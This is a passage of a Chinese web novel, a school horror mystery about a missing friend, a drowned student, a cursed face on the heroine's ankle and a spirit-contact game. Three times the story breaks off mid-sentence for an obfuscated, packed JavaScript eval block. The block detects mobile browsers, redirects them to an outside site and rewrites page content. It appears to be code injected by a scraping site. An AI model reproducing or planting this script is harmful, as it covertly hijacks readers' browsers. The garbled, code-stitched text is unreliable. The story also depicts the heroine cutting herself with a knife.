“丁阿姨...对我很好...”安然点头,剩下的话没再继续,却也解释了自己刚刚失态的原因。 老班似乎想说点什么,但张了几次嘴,都没能将话说出来,最后只点头“嗯”了一声,可能是觉得自己这样有些太不不近人情,于是又加了句‘如果身体不舒服的话,可以请假,不要勉强。’ —————————————————————————————— 第四节课,安然请假了。 半开的车窗透进来的风打在脸上,吹的眼眶隐隐有些干涩的疼。脚踝有些不舒服,安然随手按了按便把目光重新挪回了窗外。 只半天的时间,就将之前10几年没有哭过眼泪一次性流了个干净。 丁筝突然的休学让安然悬着的心没有半点回落的意思,反倒有越演愈烈的架势。这其中最大的原因就在于那个给她办休学手续的人,那个自称丁筝爸爸的家伙。 因为丁筝曾告诉过她,她爸爸早在她上幼儿园的时候就死了。 一个死人显然不可能进学校办什么手续,安然握着手机的手紧了紧,那么就只有一个可能了... 丁筝不喜欢她妈妈新交的男朋友。不止是对方过于年轻的长相,还有对方看人时那种能将人所有的秘密都能看穿的眼神。 她也不止一次想要开口劝妈妈清醒一点,那个看上去几乎能当她儿子的男人和她在一起不可能是出于真爱,他一定有什么不可告人的秘密和龌龊的心思。但每次看到妈妈提到对方时脸上绽开着的只有同情窦初开的少女才有的那种幸福和羞涩笑容,到嘴边的话反倒成了烫嘴的山芋,吞也不是,吐也不是。 但好在她妈妈答应她,目前只是男女朋友,最快也要等她高中毕业才会考虑结婚,如果那个时候他们还在一起的话。 直到上个月。 她突然告诉丁筝,自己想结婚了。 两人的交谈最后是以丁筝将手边的杯子狠狠摔在地上作为结束。 安然现在还记的丁筝当时茫然的眼神。 “然然,你说事情怎么突然就变成这样了呢?就我和妈妈两个人生活不好么?她...我...我们明明花了那么大的力气才从原来的牢笼里挣脱出来,为什么...为什么还要拼命的往另一个牢笼里钻?” “男人...结婚...就那么重要么?有亲人在身边...难道还不够?” “那个男人...他的目的到底是什么么?钱么?” “还是说...是我太自私了?” 安然没有办法回答丁筝的问题。 她是个务实的人。不会去设想自己没有的东西。也许小时候是羡慕和向往过的,但那更像是小孩子那种‘你有我也想有’的心情。 更何况老头子和哥哥已经给了她足够的关怀和爱,与其肖想那些永远都得不到的东西,不如珍惜自己眼前的拥有的。 但丁筝不同。 所以到最后安然什么都没说,只是将哭泣的丁筝揽进了怀里。 事情似乎就是从那个时候开始不对的。 那天过后,丁筝的脸色越来越难看,眼底的黑眼圈也越来愈深... 丁筝在枯萎,连带着浅浅梨涡里的笑一起。 她变得沉默寡言又敏感易怒。不管安然怎么问,她都只是摇头,直到上个礼拜五。 安然本以为两人会像之前那样沉默地走完这段不算长的路,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850058|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到丁筝突然开口了。“安然...我觉得我妈...好像想要杀掉我...”她的声音很轻,表情似哭似笑,还带着安然看不懂的解脱。 她现在还记得自己当时有多震惊,有一瞬间,她甚至觉得丁筝疯了。 她是见过丁妈妈的。 她不敢轻易判断对方是个什么样的人,但她见过对方看丁筝的眼神,那是充满爱和自豪的眼神。是一个正常母亲看待孩子的眼神。 也许他们会像所有普通的母女一样会有意见不同,会有争执,但要杀掉自己的亲生女儿? 这太魔幻了。 “你是不是也觉得我疯了?” 见安然不说话,丁筝的情绪再也压制不住彻底爆发了。 “你们都觉得我疯了。但我知道我没有!我知道我看见了什么!她在我的被子里放樟脑丸,我的枕头里都是针!你知道拿着吸铁石不停地吸枕头里的针是什么感觉么?哪怕我把里面东西全都弄出来了但那种被针扎的疼痛仍旧存在!我每天都不知道她又在哪里弄了些什么,我不敢喝家里的水,吃家里的饭,甚至不敢睡觉!” 丁筝的歇斯底里吸引了周围人的目光,他们看着丁筝的眼神像是在看神经病。但丁筝什么都看不到,那双因为困倦而布满血丝的眼睛只盯着安然。 “昨晚...”突然她像个被人放了气的皮球,颓然地坐在了地上,眼泪不要钱似的一颗颗砸在有些苍白的手臂上:“昨晚...她就那样站在我的床边...拿着刀冷冷地看着我...那时候我真的以为就要死了...” “但她最后只是凑近我耳边,叫我不要妨碍她...” “哈哈哈哈哈...”丁筝的眼泪流进了她大笑着嘴里,那模样像是听到了全世界最好笑的笑话:“她...我妈妈...为了一个男人...要杀掉我...哈哈哈哈...她为了一个男人要杀了我...你说好笑不好笑?” 安然看着那张几近癫狂的脸,眼泪也跟着掉了下来。 “但你知道更好笑的是什么么?那些东西...那些我找到的‘证据’消失了...它们全部消失了!她就像什么都没发生那样准备早饭,还嘱咐我晚上游戏不要玩的太晚...哈哈哈哈...” “她可能只是想逼疯我...或者...我已经疯了...” 安然心疼地抱着丁筝,却想不出一句安慰的话。 她能深切感受到丁筝的痛苦,她知道她没有撒谎,但她也知道丁筝对她有所隐瞒。 不知全貌,不言其行。 她想要帮助丁筝,但光听丁筝的一面之词,显然对事情的解决没有一点帮助。有些疑问一定先要知道答案,才能有下一步的解决方法。 打定主意,安然什么都没有问,只一下下轻抚着丁筝的后背,直到哭泣声渐渐停止,怀里的人不再颤抖,她才扶起怀里的丁筝,看着对方的眼睛,一字一句地问道:“丁筝,最近发生的事...你有当面问过丁阿姨么?” 丁筝的后背明显僵了一下,她垂下被泪水打湿的睫毛,在安然的注视下缓缓摇头。 安然眼中的了然一闪而逝。 被她猜中了。 但心头的阴霾没有消散反倒愈发沉闷。 这就是问题所在。 丁筝的情绪里有恐惧、痛苦、难过却唯独没有怀疑。对于她妈妈想要杀掉她的行为接受的有些...太容易了。 她甚至没有想过去问一个真相,因为唯一的那个答案已经在她的心里。 这显然不对劲。 只是眼下,安然也没有心思去纠结丁筝究竟对她隐瞒了什么。哪怕关系再好的朋友,也没规定必须要对彼此毫无保留。 但丁筝和丁阿姨之间的关系已经影响到了丁筝的正常生活,安然想要将丁筝从泥潭里拉出来。 “走,我陪你回去,咱们当着丁阿姨的面把最近发生的事一次问个明白...” 安然拍了拍身上的灰尘,伸手想要将地上的丁筝拉起来,但丁筝显然不么想。 “啪——-” 伸出去的手被丁筝狠狠打开。安然怔愣地看着通红的手背,说不出一个字。 “为什么?”丁筝抬起头,通红的眼睛里是安然看不懂的愤怒:“你不相信我?还是说...你和她们一样,也想看我的笑话?” “她们?”安然听不懂丁筝话里的意思,却敏锐地捕捉到了一丝异样。 丁筝别过眼,语气却更加刻薄:“安然,咱们朋友3年,你一次都没来过我家。怎么?现在我妈不要我了,所以你愿意来了?你究竟想确定什么?确定我和你一样都是被父母抛弃的小孩么?!” 安然眼睛微微睁大,黑白分明的眼眸盛满了受伤和不知所措,似是不相信这些话竟然是从自己最好的朋友嘴里说出来的。 “别用这种眼神看我,你和我做朋友,不也是因为我的家庭不完整么?” 那时的她在想什么,安然已经想不起来了,也许想了,也许没有,唯一记得的是丁筝的背影在她的视线渐行渐远,最后只剩一个如句号般小小的点。 记忆在车窗外渐渐清晰的景色里越来越模糊,而司机的声音则彻底将她从思绪拉回到了现实。 “同学,南湖景苑到了。” 7. 第7章 南湖景苑依山傍水,算是怀阳县这两年十分炙手可热的小区之一。 也不知道这房地产商是真受了‘高人’的指点,在建成之前摆了什么聚财阵,还是纯粹是为了提高入住率搞出来的噱头,据说搬进来的居民中有好几户在事业或是财运方面变得相当好。 甚至就连安然也有耳闻说南湖景苑中那些所谓位置好聚财的房子一平炒到了近30万,还一房难求。 风波最后怎么平息的,她没关注自然也就不知道。只听说那次的购房热潮炸出了不少怀阳县的隐形富豪,还一度成为街头巷尾最受欢迎的讨论话题之一。 但褪去那些真真假假华丽外衣,南湖景苑除了环境相对比较优渥以外,其实也看不出什么异常。 至少在安然看来,这里和那些普通的小区除了在设施、环境还有安保方面更好一些外,没什么别的区别。 门口的保安是两个看上去只有30出头,身姿挺拔不苟言笑,一身保安制服硬是让两人穿出了警服的感觉。 安然拿出学生证,又在访客本上记录下自己的信息和要探访的住户后,才在其中一位保安欲言又止的眼神里走进了小区的大门。 门口附近很贴心立着小区的详细的地图,对于安然这种第一次来访的客人来说很实用。 丁筝家住在8幢903室。 不知道是不是此刻正上班上学的点,小区里没什么人,显得有些冷清清的。 她走到一半,忽地一阵凉风袭来,安然不禁打了个寒噤,下意识看向风吹来的方向。 那里有一处林荫小道,道路全是用鹅卵石铺的,两边种了一些叫不出名字的花花草草,不知道是因为阳光不够充足还是因为平时疏于打理,此刻全都蔫蔫的垂着,看上去没什么活力。 安然只是瞥了一眼,也没太在意,毕竟这样的小花园这座小区不止一个。 很快,楼身上的硕大的‘8’便映入了她的视线。 也是安然运气好,刚站到门前正好就有这栋楼的住户开门出来,否则以丁筝现在的状态不一定能心思给她开门。 电梯很快来到九层,好在一层楼也不过只有4户人家,安然找到903的门牌,伸手按响了门铃。 门铃大约是只屋内的人才能听见,门外一片安静,半点声音都挺听不到。 过了许久都不见有人开门,安然皱眉又按了一下。 难道不在家?还是…门铃坏了? 正当她犹豫着要不要敲门试试的时候,身后的电梯门开了。 安然回头,电梯门里走出来的正是之前和她有过一面之缘的那位住户。 那是个60多岁的老人,背着手,看见安然,也是一愣,看了眼她身前的门牌,随即露出了然的神情:“你是来找903那个小姑娘的吧?不用等了。回去吧!他们家今早来了一大帮子人...说是要将人领回老家修养一段时间...哎...也是个可怜的孩子...” 老家? 安然一愣,她从来没有听过丁筝还有个老家。她记得丁筝说过她外公外婆都是怀阳县本地人… 难道是她爸爸那边的? 不对... 丁筝爸爸那边就好像就还剩下个常年住院的姑姑。 难不成...是丁阿姨男朋友那边的?! 想到这儿,安然不禁后背一凉,忙问道:“爷爷,那您知道他们老家在哪儿么?” 老人摇头:“那是人家的事,我一个外人哪好管那么多。” 随即他又像是想到了什么似的,皱着眉回忆:“但听口音,好像不是咱们这边的...有点北方那边的口音...” 说着老爷子摆了摆手:“你也别太担心,那帮子人看着对那小姑娘还不错,嘘寒问暖的,看穿着打扮也不像是缺钱的,应该不是来吃绝户…” 似是觉得自己这话说的有些过了,老爷子咳嗽了一声:“何况都是血脉相连的亲人,就是不看僧面也要看佛面,家里总还有祖辈在…” 但老人的话却没让安然放心。 那些突然冒出来的人...真的是丁筝的亲人么? 老爷子见安然垂着头,以为她是舍不得自己的朋友,安慰道:“小姑娘,你也别伤心,这房子我也没听他们说要卖,只不定哪天就回来了...” 谢过老爷子,安然知道自己眼下已经没有别的办法。 她其实想过报警,可见到警察又该怎么说呢?无凭无据的,别说警察不会受理,她连事情的原委都解释不清楚。 安然也想过将语音放给警察听,但那些似是而非的话,除了会让警察怀疑丁筝疯了外说不定还会怀疑丁筝妈妈的死和丁筝有关系。 毕竟真要撇开她和丁筝的关系和对对方的了解,她也能从那些颠三倒四的话里听出些不对劲来。 可她真的了解丁筝么? 丁筝说的那些关于她家人的、关于她自己的,真的就是真的么? 也许... 她真的从未真正的了解过对方。 ————————————————————— 从南湖景苑出来再回到学校已经是下午1点了。 踏进校园,安然明显感觉到学校的氛围有些不对。 学校的保安不止多了一个,过去门口那些检查校徽的老师、学生也打起了12分的精神。 身前的学生三三两两的聚集在一起,正小声得嘀咕着什么。 安然隐约听到了‘后山’、‘高一’、‘万秃子’之类的词。 而这种怪异的氛围在她进入教学楼后更加明显。 直到回到教室,安然才从那些零零碎碎的讨论声里串联起学校之所以会变成现在这种压抑而又热烈氛围的原因了。 万秃子的女儿,也就是之前他们班上讨论过的那个失踪的女生——高一(2)班的万胜柔死了。 尸体是在学校后山的小湖里找到的。 说是找到,其实是高二年纪的两个学生逃课,因为不能从前门过,只能去翻学校的后山。那里有一道上锁的大铁门,但对于想要逃课的人来说,想要翻过去也不是什么难事。 要从后山离开学校,就必须会经过那个不知道是人工还是天生形成的那个小湖泊。 说是湖,其实都是学生们自己说的,那里充其量就是个水潭,但水质似乎不错,听说还有学长曾从里面抓到过不小的鱼。 而那两个学长就是在经过小湖的时候就看到的漂浮在湖面上穿着校服的尸体。 一开始他们还以为谁那么丧心病狂扔个假人在水里吓唬人。 这俩人也是吃饱了撑的,非要用树枝将头发拨开,说要看美人。 这一拨弄,直接就对上那双被水泡的发白肿胀的几乎要掉出眼眶的眼睛,还有液体从里面渗出来。 他俩瞬间像个遇到变态的大姑娘尖叫的声音都变了形。 听说其中一个当场就被吓得尿了裤子,跪在地上一动不动。 另一个也不知道是怎么想的,跑到一半又折返回来,不报警反倒是拍了一堆照片发到了班级群里和学校的论坛。 尽管学校第一时间对这事做了处理,删除了所有的照片,但这件事情还是如蝗虫过境般学生之间散播了开来。 “一中学生后山溺水身亡”瞬间成为了学校最热的讨论话题。 至于为什么他们这么快就知道了死者的身份,其实是猜测。 万秃子的女儿失踪快一个礼拜了,这事很多人都知道,所以一部分人第一时间就怀疑是她。 还有一部分则是说万秃子当时就在学校,是第一批赶过去的校领导,看见尸体当场就晕过去了,最后是120将人领走的,当时很多人都听到后山方向有救护车的声音。 最后一部分人则说自己看到2班有好些个学生在第四节课的时候,被叫去了校长室。他们打听了,那里有警察在给他们录口供,询问的就是万胜柔。 安然也觉得后山上的尸体是万胜柔概率很大。自己看到的那个身体肿胀,嘴里不断涌出来污水的万胜柔,确实很像在水里溺死的人。 只是她有些想不明白,万胜柔为什么会找上自己,毕竟她们之间关系,连见面点头都算不上。 这时安然感觉自己的肩膀被人拍了一下,一回头就对上了陈温柔微微错愕的双眼。 “有事?”还是安然率先打破了沉默。 “啊...那个...”陈温柔没想到安然反应会这么快,被她这么一看,愣在了原地一时间不知道该说些什么。 突然她一拍脑门: “哦,对了!我就是想问问你知道丁筝去哪了么?老班说她请假了,我给她打电话也没人接,信息也没回,你知道她什么时候回学校么?” 安然一愣,眸中浮现一抹诧异。丁筝和陈温柔之前闹过一场不大不小的矛盾,两人几乎一直处于不怎么说话的状态。 她摇了摇头:“她家里有些事要处理,应该最近都不会来学校了。” “最近都不来了?!下个礼拜能回来么?”陈温柔的声音猛地拔高,见周围人都看她,才察觉到自己的声音有些大了。 安然也被她一惊一乍的声音弄的有些无语,只摇了摇头,也懒得搭理对方,刚想转身就听陈温柔语气里忿忿:“艹!就知道她不靠谱!都说好了又临时撂挑子,真是烦人!现在让我上哪儿找人啊?!真的是!” “做不到就别答应嘛!真尼玛是一颗老鼠屎坏了一锅粥!” 陈温柔越说越愤怒,声音却越来越低,像是担心被人听见又忍不住抱怨的情绪,只囫囵在嘴里嘟囔着安然听不清的镜子什么之类的。 眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850059|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看对方就要离开。 “等等!” 安然出声叫住了陈温柔。 “丁筝之前好像跟我说过这事…” 陈温柔回头,一脸狐疑地看向安然:“丁筝和你说什么了?” “她说…”安然脑子在这一刻转的飞快,一边说一边观察陈温柔的反应:“如果她有事来不及参加的话,就让我帮忙顶一下…” “她真这么说的?”陈温柔狐疑的表情并没有消散,反倒是打量起了安然:“她打算推荐你过来?她还说了什么?” 推荐… 安然捕捉到了这个词。她神色不变,像是没听出陈温柔在说最后一句话的时候,不善的语气:“别的?我想想…” “嗯…”安然摇头:“好像没有了…”她半垂着眼眸像是在回忆:“说实话,要不是你过来问,这事儿我都忘了,她说的没头没尾的。就只说她有个答应了别人的事儿,如果来不及去,就让我替她一下…” 见安然的表情不像在说谎,陈温柔脸色好看了不少。 安然乘胜追击:“你们是打算下周去哪儿玩么?方便带我一个么?” 见对方没回答,她也不见被拒绝的尴尬,无所谓得耸了耸肩:“不过要是不方便的话就算了,反正我答应她的事也算是做到了,以后要是丁筝问起来,你要替我作证呢,可不是我食言哦!” 安然无所谓的态度反倒让陈温柔犹豫起来,她看了安然好一会儿:“也不是不方便…只是这事不是我一个人说了算的...我们得商量一下...呃...迟一点再找你吧...” 陈温柔没有回到座位上,而是手指在手机屏幕上一顿操作后,拿着手机离开了教室。 安然看着对方的背影陷入了沉思。 其实刚刚那些话不过是临时起意,她也不知道自己为什么突然那么说,只是有一瞬间她突然生出来一种想既然找不到丁筝的下落,那不如就查一查之前她做了什么的念头。 这个念头在她心中生了根发了芽,安然突然就想看看它最后能开出什么样的花,又能结出怎样的果。 ————————————————————— 下午的课让人有些昏昏欲睡。 窗外的乌云黑压压聚在天边,使得教室更加闷热了。 不知道是不是走的多了,安然总感觉脚踝的位置有些不舒服,说不上是疼还是痒。之前感觉并不明显,但眼下针扎的感觉已经密集到让她忍不住皱紧了眉头。 趁着数学老师转身在黑板上写题,她弯腰拉起运动裤的一角,随手在脚踝的位置抓了抓。 一点模糊的黑色在袜子束口的位置若隐若现。 安然一愣,想也没想往下一扯。袜子被运动鞋挡住只能在鞋口的位置贴着,尽管只露出一半,但也足够让安然看清脚踝上的东西了。 那是竟然是…一张脸?! 五官混成一团,只勉强分出点明暗,但整个轮廓还是能让人一眼看出来那是一张脸。 安然花了许多力气才勉强克制住尖叫的冲动,没让自己沦为数学老师为这堂课‘杀鸡儆猴’里的那只鸡。 只是陈一帆就没那么好运了。和他那帮跟班也不知道在聊什么,传递的纸条正好掉在走下讲台的数学老师脚下。老师也没客气,直接打开纸条当众就读了起来。 班里笑成一团,只有安然将袜子拉的老高,整个人如坠冰窖。 ****** 整个下午的课,安然都听的浑浑噩噩。 也不知道英语老师是不是吃了火药,上课铃声还在响就点名抽背上周的短文,将近四分之三的人都被点到了名,结局相当惨烈,别说一半,能让他满意的四分之一都没有。 一时间整个教室气压低的让人大气都不敢喘上一口。 好在安然运气一如既往的好,前后左右被叫了个遍,只有她像是被狂风暴雨遗忘的孤岛。 直到放学的铃声终于响起,整个班级才一改之前的惨淡,渐渐恢复了点祖国未来栋梁该有的朝气。 “安然。” 叫住她的是陈温柔,一起的还有垂眸不语的林盛阳。 安然放下书包,没有开口,只静静看着两人等待她们的下文。 “我们商量了一下,带你一个也不是不可以,但在这之前,你得先回答我们一个问题。” 安然没想到她们会答应的这么容易,容易到让她有点后悔,甚至怀疑是不是自己猜错了,丁筝的异常和隐瞒的东西其实跟眼前这两人完全不沾边和她口中的‘她们’也没有半毛钱关系。 但安然并没有表现出来,而是装作好奇地问:“什么问题?” 陈温柔没有直接回答,扫了眼周围陆陆续续往外走的学生,她忽然靠近了几分,声音压得很低:“你相信这个世界上有鬼么?” 8. 第8章 周一的杏花街格外冷清。 往常这个点零星还能见到几个客人,但今天除了街头几个正准备关门打烊的店主外,没有半个人影。 安老头的铺子是一间独栋的二层小楼。所在的位置比街尾还要更偏一点,勉强算是占了一个杏花街的边。其实安然到现在都没搞明白老头子究竟做的是什么生意。纸人香烛有,寿衣寿被也有,纸钱元宝风水摆件就不用说了,就连棺椁和寿材她也见老头子做过。但这些东西不像其他店铺那样直接摆在外面,想买必须得提前定制。 按说他的店该是最没有生意的,毕竟整条杏花街开的都是卖冥烛纸钱寿衣花圈的店铺。可偏偏整条街就他那生意最好,凡有生面孔来找,十有八九都是找安老头的。 其实真要追根溯源,杏花街过去也曾有过一段辉煌的岁月,这里也曾灯红酒绿,歌舞升平。 后来甚至作为怀阳县唯一一条拥有百年历史的老街,狠狠吃了一波怀旧的福利。 但人大多都是“喜新厌旧”的。 历史再好,也不如时代的更迭换新来的惹人喜爱。再加上附近又都是些老房,老小区,地方偏,交通并不十分便利,被淘汰再正常不过。 杏花街慢慢淡出了人们的视野,店铺走的走搬的搬,最后只能沦为本地人口中的“阴街”,开始了纸人花圈一条龙的新旅程。 这里平时基本没什么人,只有清明节,寒衣节,春节前后,才能隐隐窥视到这条旧节过去的那点子辉煌。 但奇就奇在安老头来到这以后。 这条有着久远历史的老街像是过够了这种沉郁的日子,挣扎着“活”了过来。 来这的人渐渐多了一些,连带着旁边的店铺,也偶尔分得一两口汤。 安然走在街上,偶尔也能碰见一两个正关门打算回家吃饭的熟人,笑着委婉地谢绝他们或真心或客套的晚饭邀请。 揉了揉笑的有些僵硬的脸,她是真的不想再笑了。 但好在越往里,人烟就越稀少,街道两边的店主似乎也感应到了今天生意的惨淡,早早关了门。 渐渐地,除了安然,周围再也不见其他人影。 眼见着光线越来越暗,偏偏这四月的天儿也是说变就变。 刚还要沉不沉天空,这会儿彻底黑了下来。豆大的雨点愣是没给人半点儿准备的机会,就那么噼里啪啦地砸了下来。 好在铺子就在眼前。 安然三步并作两步冲到自家门前,得亏头顶有房檐遮着,否则就开门那一小阵功夫,就得淋成落汤鸡。 木质的漆红大门被推开发出的尖锐的“吱呀”声。 阴天,尤其是雨天,门轴膨胀,那声音便更响,听着像是被风湿折磨多年的老太太于风雨飘摇中发出的痛苦哀嚎。 安然不止一次抱怨这破门声音难听,换成和其他店铺一样的玻璃门多好,轻便又敞亮。 但安老头每次都摇头晃脑:“换不得,换不得…” 安然不服:“怎么就换不得了?” 安老头便会指着大门一左一右的两枚凸起的漆黑门钉:“玻璃门可钉不进这俩宝贝。” 安然撇嘴问他这俩铁疙瘩能有啥用? 安老头就又不吭声了。 有一次,他被安然问的烦了,就拿了把竹椅,指着那对有些年头的老门:“门为气口,聚阳泄阴才能生财化煞,一聚一泄,一生一化,这“口”才能活起来。” “你看看这杏花街做的是什么生意?那是亡故之人的生意!气口不活,常年待在这聚阴的地方,还能有啥好?” “你再看看街上那些装着玻璃门的,有几个是敞着的?不是夏天太热,就是冬天太冷,大门常闭,这气口能活的起来?口不活起来,咱爷仨能像现在这样?早就沿街乞讨喽…” “咱家这门啊,功劳大着呢!” 安老头越说越多,还讲了一堆诸如:玻璃、镜子、聚煞、宣纸、纸扎、纸人之类的长篇大论。 安然左耳进右耳出,听的不甚入心,一门心思摆弄从她哥那儿拿来的MP3:“前些日子,您还说咱们仨之所以没变成沿街乞讨要饭的,是得意于您在店里摆的那风水阵呢!怎么?这会儿又成了这老门的功劳了?要不您一口气说说完,咱们家还有啥一直保佑咱爷仨有吃有喝的,待会儿我一起把它们供起来,我以后也就搁家待着了,还上啥学啊,等着它们给我好吃好喝得了呗…” …… 铺子里很黑。 但没有一般老屋常年萦绕的那股子霉味。 纸浆混合着檀香的气息扑面而来,让安然原本还有些七上八下的心,忽然就安定了下来。 随手拨弄了下电灯开关,没亮。 安老头回来过了? “安老头,你回来了?”安然朝着黑漆漆的屋里喊了一声,见没人回应,又喊了句:“哥,在家么!” 没人回来么...自己今早走前也没拉闸啊... 她心里嘟囔了几句,也没在意,老房子偶尔自己跳闸也很正常,想着可能是今早担心丁筝的事,出门前忘记关灯了,这会儿电闸自己就跳了。 想起丁筝,安然原本回家的那点轻松劲儿转眼散了干净。 她怎么都没有想到丁筝最近竟然一直在和陈温柔她们玩通灵游戏。 所谓通灵游戏,安然也听过。无非就是网络上流传的所谓能和鬼怪沟通的一种游戏,比如笔仙、碟仙、四角游戏、血腥玛丽之类的。传闻这些游戏能通过一定的方式让生者与亡灵进行沟通并在彼此之间形成某种联系。 安然自然不信这些。就算世界上真的有鬼存在,她也不信能通过一两个所谓的游戏就让两者之间形成联系,生与死之间的屏障真要那么好打破,这个世界早就乱套了。 但让她没想到的是陈温柔听到她说的那些先是不屑的撇嘴随即又神秘一笑,说她们玩的可不是那么低端的东西。 只是不论安然再怎么问,陈温柔就是铁了心般一个字都不愿再透露。只说了句既然安然也相信有鬼,就算是暂时获得了后补成员的资格,但想要和她们一起...还得通过一项考验。 安然没怎么犹豫就答应了。 陈温柔最后也没说考验的内容是什么,只是和她交换了联系方式,说再等她们通知。 只是比起陈温柔,那个始终一言不发的林盛阳,让安然心中隐隐生出点不安。这感觉来的莫名其妙。安然抿唇,其实也不算莫名其妙,在林盛阳说出那个故事以后,那种感觉似乎就开始时隐时现了。 被雨水打湿的衣服又冰又黏,安然收回思绪,拿出手机,照向头顶的墙角。 手电筒的光线还算明亮,只是电闸箱的位置有些高,一个凳子的高度还不够,安然又叠了一个。 不容易推上总闸,房间瞬间一片大亮。 明亮的环境总是让人感到心情愉悦。 按照安老头临走前的吩咐,将两道门上的三把锁一一锁好,安然走进厨房,冰箱里她哥准备了不少她爱吃的东西,扯了扯黏在肩头的衣服,安然决定先洗澡。 氤氲的水汽萦绕在整间浴室。 倾泻而下的水珠似是为安然披上了温热的外衣,舒服的让她全身的毛孔都得到了疏解。也许是温暖的水流划过皮肤的触感让她感到真实,安然甚至有些自嘲地觉得这一整天的遭遇对她来说也像是爱丽丝的梦游仙境,只不过接引她的不是可爱的兔子先生,而是长相恐怖的穿校服的小女孩。 经历恐怖版的爱丽丝梦游仙境,她也算是第一人了。 只是这自嘲还未达眼底,就被安然脚踝上的那张巴掌大的人脸拉回了现实。 没有了继续洗澡的心情,安然随手关掉花洒。擦干身体刚想离开浴室,脑海不自觉蹦出校医的声音:‘生理期尤其要注意,洗完澡一定要吹干头发,穿好衣服袜子,才能出门哦...’ 安然站在原地犹豫了两秒,最后还是拿起身侧的吹风机,任命地吹起了头发。 事实证明,当一个人心气不顺的时候,不管干什么都觉得时间格外漫长。 好不容易吹干头发,安然走出浴室,从袋子里拿出下午弄脏的校服,随手扔进洗衣篓的动作一顿。 被血渍染红的裤子旁边赫然有个鲜红的掌印! 安然被这突如其来的一幕吓了一跳,手上的裤子直接掉在了满是水渍的地板上。 她呆呆地看着地上的东西好一会儿,才犹豫着拿到水龙头下,粉红色的水流顺着地缝流进了下水道,整间浴室弥漫着一股淡淡的血腥味。 好不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850060|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易冲掉裤子上的血渍,也没了吃饭的心情,安然径直回到了自己的卧室。犹豫了一会儿,还是掀起裤脚,看向紧贴着脚踝的脸。 扭动了一下脚踝,已经不疼了,不知道之前的疼痛是不是那张脸在提醒自己的存在,自打安然发现她的存在后,那种又疼又痒的感觉就消失了。 人脸随着脚踝的左右扭动而发生偏移,自然的像是原本就长在那里又像是纹身般被纹在了她的皮肤上。 安然看了很久,目光突然落到了书桌的笔筒上。笔筒是她哥给做的,墨绿的桶身,保留了竹节大部分原始的形态,只在上面刻了点点梅花,再以朱砂描摹。红梅看上去栩栩如生,给人一种傲立风雪的清冷之感。 只是此刻安然的目光没有那个她曾爱不释手的笔筒上,而是看向笔筒里的东西。 那里只有一把裁纸刀。 刀尖很锋利,安然找准位置,避开了动脉,沿着人脸的位置就是一下。 被划过的地方先是一凉,紧接着就是钻心的疼。 鲜血顺着伤口涌了出来,额头的冷汗一下子冒了出来,就在她咬紧牙关想要再来第二下的时候,突然停了下来,刚还有些外翻的伤口竟正在以肉眼可见的速度愈合。 没等她回过神,刚还流血不止的伤口已然愈合了。 裁纸刀掉在地上发出一声沉闷的‘啪’,如果不是脚踝上还残留着没有干涸的鲜血,安然甚至以为刚刚发生的一切都是自己的想象。 她恹恹地倒在了床上,像具被遗弃在冰天雪地里的尸体,黑白分明的眼瞳盯着头顶的木制的天花板一动不动。 蓦地,她挺尸般猛地从床上蹦了起来,一同伴着的还有肚子咕噜咕噜的战曲。 短暂的自我厌弃让她重新恢复了活力,想着五脏庙都还能唱空城曲,那就说明还没到山穷水尽的地步,既然如此,那就兵来将挡水来土掩好了! 结果安然化悲愤为食欲,做了顿堪称大餐的晚饭,吃到肚子圆滚滚再也吃不下为止。 事实证明,民以食为天这话说的真的没错,吃饱了的安然感觉自己离家出走的智商回来了,甚至觉得自己刚刚自怨自艾的自残行为有点蠢,这东西又不是粘在鞋底的口香糖,真要那么好去掉,就不会费心巴拉地非要黏她脚上了。 但万物皆有因果。 这东西黏在她身上也一定有她的目的。 安然没急着收拾桌上的残局,而是直奔安老头的房间,既然是脏东西,老头子那里一定有能克制它的法子! 老头子的房间不大,摆设也简单,一张方桌,一把椅子,一张床,连个衣柜没有,只有一个木箱孤零零的立在墙角。 安然印象里,自懂事起她几乎就没有进过爷爷的房间,对于屋内如此简单甚至能说的上寒酸的布置,让她竟忘了自己进来的目的。 安老头在钱财上对两兄妹从没吝啬过,甚至十分大方,用安老头话来说就是‘谁说钱财如粪土?人生在世,钱财是根基,是基础,但也只是基础。’ 安然那时候不明白安老头这话里的意思,这会儿倒是有些懂了。 屋里的檀香味是安然熟悉的,比前厅的味道要浓郁不少。她径直走向木箱,毕竟这是整个房间里唯一看着像是能找到点东西的地方了。 木箱很简单,没有花纹之类的修饰,但盖子倒是她想象的要沉上不少,里面只有几套老头子平时穿的长衫,一串铜钱以、一面铜镜以及一本没有封面的书。 